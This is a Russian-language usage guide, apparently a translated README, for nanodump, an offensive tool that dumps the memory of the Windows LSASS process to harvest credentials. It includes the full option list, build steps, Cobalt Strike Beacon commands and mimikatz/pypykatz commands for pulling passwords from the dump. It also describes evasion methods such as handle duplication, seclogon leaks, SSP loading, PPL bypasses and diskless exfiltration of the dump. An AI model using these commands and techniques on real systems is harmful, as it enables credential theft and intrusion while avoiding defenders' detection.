
Швейцарский нож для дампа LSASS
Гибкий инструмент, создающий минидамп процесса LSASS.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
В Linux с MinGW
make -f Makefile.mingw
В Windows с MSVC (без поддержки BOF)
nmake -f Makefile.msvc
Импортируйте сценарий NanoDump.cna в Cobalt Strike.
Запустите команду nanodump в консоли Beacon или бинарный файл nanodump.x64.exe.
Если вы не указали флаг --valid, вам необходимо восстановить недействительную подпись
scripts/restore_signature <dumpfile>
mimikatz:
Чтобы получить секреты, просто запустите:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Если вы предпочитаете оставаться в Linux, вы можете использовать порт mimikatz на Python3 под названием pypykatz:
python3 -m pypykatz lsa minidump <dumpfie>
Чтобы избежать открытия дескриптора LSASS с доступом PROCESS_VM_READ, вы можете использовать параметр --fork.
Это заставит nanodump создать дескриптор LSASS с доступом PROCESS_CREATE_PROCESS, а затем создать 'клон' процесса. Затем этот новый процесс будет дампнут. Хотя это приведет к созданию и удалению процесса, это устраняет необходимость прямого чтения LSASS.
Аналогично опции --fork, вы можете использовать --snapshot для создания снимка процесса LSASS.
Это заставит nanodump создать дескриптор LSASS с доступом PROCESS_CREATE_PROCESS, а затем создать снимок процесса с помощью PssNtCaptureSnapshot. Затем этот новый процесс будет дампнут. Снимок будет освобожден автоматически по завершении.
Поскольку открытие дескриптора LSASS может быть обнаружено, nanodump может вместо этого искать существующие дескрипторы LSASS.
Если такой найден, он будет скопирован и использован для создания минидампа.
Обратите внимание, что наличие такого дескриптора не гарантируется.
Вы можете получить дескриптор LSASS с доступом PROCESS_QUERY_LIMITED_INFORMATION, который, вероятно, находится в белом списке, а затем повысить привилегии этого дескриптора путем его дублирования.
Чтобы избежать открытия дескриптора LSASS, вы можете злоупотребить службой seclogon, вызвав CreateProcessWithLogonW для утечки дескриптора LSASS в бинарный файл nanodump.
Для включения этой функции используйте параметр --seclogon-leak-local.
Учтите, что при использовании из Cobalt Strike на диск должен быть записан неподписанный бинарный файл nanodump.
Этот метод очень похож на предыдущий, но вместо утечки дескриптора в nanodump он утекает в другой бинарный файл, а затем дублируется для использования nanodump.
Используйте флаг --seclogon-leak-remote для доступа к этой функции.
Вы можете обмануть процесс seclogon, заставив его открыть дескриптор LSASS и продублировать его до закрытия, выиграв состояние гонки с помощью файловых блокировок.
Используйте флаг --seclogon-duplicate для доступа к этой функции.
Вы можете загрузить nanodump как SSP в LSASS, чтобы избежать открытия дескриптора.
Когда DLL загружена в LSASS, параметры передаются через именованный канал, и после завершения дампа DllMain вернет FALSE, чтобы выгрузить DLL nanodump из LSASS.
Вы можете жестко закодировать параметры в DLL и полностью отказаться от использования именованного канала с помощью флага компилятора PASS_PARAMS_VIA_NAMED_PIPES=0.
По умолчанию неподписанная DLL nanodump будет загружена в папку Temp и автоматически удалена.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Если вы хотите загрузить уже существующую DLL, выполните:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Обратите внимание, что эта уязвимость исправлена в пакете обновления за июль 2022 года (Windows 10 21H2 Build 19044.1826)
Для доступа к этой функции используйте команду nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
Для доступа к этой функции используйте команду nanodump_ppl_medic
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
Поскольку дамп создается не nanodump, он всегда будет иметь действительную подпись.